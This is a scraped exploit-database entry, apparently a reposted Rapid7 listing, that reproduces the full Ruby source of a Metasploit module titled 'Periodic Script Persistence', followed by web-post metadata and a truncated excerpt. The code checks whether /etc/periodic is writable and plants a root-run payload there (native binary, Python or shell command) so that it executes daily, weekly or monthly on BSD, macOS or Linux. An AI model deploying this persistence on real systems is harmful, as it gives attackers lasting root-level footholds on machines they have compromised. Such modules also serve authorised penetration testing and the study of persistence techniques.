{“lastseen”:”2025-08-29T18:54:59″,”description”:”This module will achieve persistence by writing a script to the \/etc\/periodic directory. According to The Art of Mac Malware no such malware…”,”published”:”2025-08-29T18:53:42″,”modified”:”2025-08-29T18:53:42″,”type”:”metasploit”,”title”:”Periodic Script Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-LOCAL-PERIODIC_SCRIPT_PERSISTENCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Periodic Script Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will achieve persistence by writing a script to the \/etc\/periodic directory.\\n According to The Art of Mac Malware no such malware species persist in this manner (2024).\\n This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘gardnerapp’,\\n ‘msutovsky-r7’\\n ],\\n ‘References’ =\\u003e [\\n [\\n ‘URL’, ‘https:\/\/taomm.org\/vol1\/pdfs\/CH%202%20Persistence.pdf’,\\n ‘URL’, ‘https:\/\/superuser.com\/questions\/391204\/what-is-the-difference-between-periodic-and-cron-on-os-x\/’\\n ]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2012-04-01’,\\n ‘Privileged’ =\\u003e true,\\n ‘Platform’ =\\u003e %w[bsd unix osx],\\n ‘Targets’ =\\u003e [\\n [ ‘OSX’, { ‘Arch’ =\\u003e [ARCH_X64, ARCH_X86, ARCH_AARCH64], ‘Platform’ =\\u003e ‘osx’ } ],\\n [ ‘Python’, { ‘Arch’ =\\u003e ARCH_PYTHON, ‘Platform’ =\\u003e ‘python’ } ],\\n [ ‘Unix’, { ‘Arch’ =\\u003e ARCH_CMD, ‘Platform’ =\\u003e ‘unix’ } ],\\n [ ‘Bsd’, { ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64], ‘Platform’ =\\u003e ‘bsd’ }]\\n ],\\n ‘DefaultOptions’ =\\u003e {\\n ‘DisablePayloadHandler’ =\\u003e true\\n },\\n ‘DefaultTarget’ =\\u003e 4,\\n ‘SessionTypes’ =\\u003e [ ‘shell’, ‘meterpreter’ ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options([\\n OptEnum.new(‘PERIODIC_DIR’, [true, ‘Periodic Directory to write script eg. \/etc\/periodic\/daily’, ‘daily’, %w[daily weekly monthly]]),\\n OptString.new(‘PERIODIC_SCRIPT_NAME’, [false, ‘Name of periodic script’]),\\n ])\\n end\\n\\n def check\\n periodic = \\”\/etc\/periodic\/#{datastore[‘PERIODIC_DIR’]}\/\\”\\n\\n return CheckCode::Vulnerable \\”#{periodic} is writable\\” if writable? periodic\\n\\n CheckCode::Safe \\”Unable to write to #{periodic}\\”\\n end\\n\\n def write_periodic_script(payload_content)\\n periodic_dir = \\”\/etc\/periodic\/#{datastore[‘PERIODIC_DIR’]}\/\\”\\n\\n periodic_script_name = datastore[‘PERIODIC_SCRIPT_NAME’].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore[‘PERIODIC_SCRIPT_NAME’]\\n periodic_script = File.join(periodic_dir, periodic_script_name)\\n\\n @clean_up_rc \\u003c\\u003c periodic_script.to_s\\n\\n fail_with(Failure::UnexpectedReply, \\”Unable to write #{periodic_script}\\”) unless upload_and_chmodx(periodic_script, payload_content)\\n\\n print_status \\”Succesfully wrote periodic script to #{periodic_script}.\\”\\n end\\n\\n def exploit\\n @clean_up_rc = ‘sudo rm’\\n\\n if target[‘Arch’] == ARCH_PYTHON\\n print_status ‘Getting python version \\u0026 path.’\\n\\n python = cmd_exec(‘which python3 || which python2 || which python’)\\n\\n fail_with(Failure::PayloadFailed, ‘Unable to find python version. ‘) if python.blank? || !file?(python)\\n\\n print_good \\”Found python path #{python}\\”\\n\\n payload_bin = \\”#{python}\\\\n\\” + payload.encoded\\n elsif target[‘Arch’] == ARCH_CMD\\n payload_bin = \\”#!\/usr\/bin\/env #{cmd_exec(‘echo ${SHELL}’)}\\\\n\\” + payload.encoded\\n else\\n payload_bin = generate_payload_exe\\n end\\n\\n write_periodic_script payload_bin\\n\\n print_status(\\”Cleanup command ‘#{@clean_up_rc}’\\”)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/local\/periodic_script_persistence.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/local\/periodic_script_persistence\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T18:54:59″,”description”:”This module will achieve persistence by writing a script to the \/etc\/periodic directory. According to The Art of Mac Malware no such malware…”,”published”:”2025-08-29T18:53:42″,”modified”:”2025-08-29T18:53:42″,”type”:”metasploit”,”title”:”Periodic Script Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-LOCAL-PERIODIC_SCRIPT_PERSISTENCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n#…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-15127","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n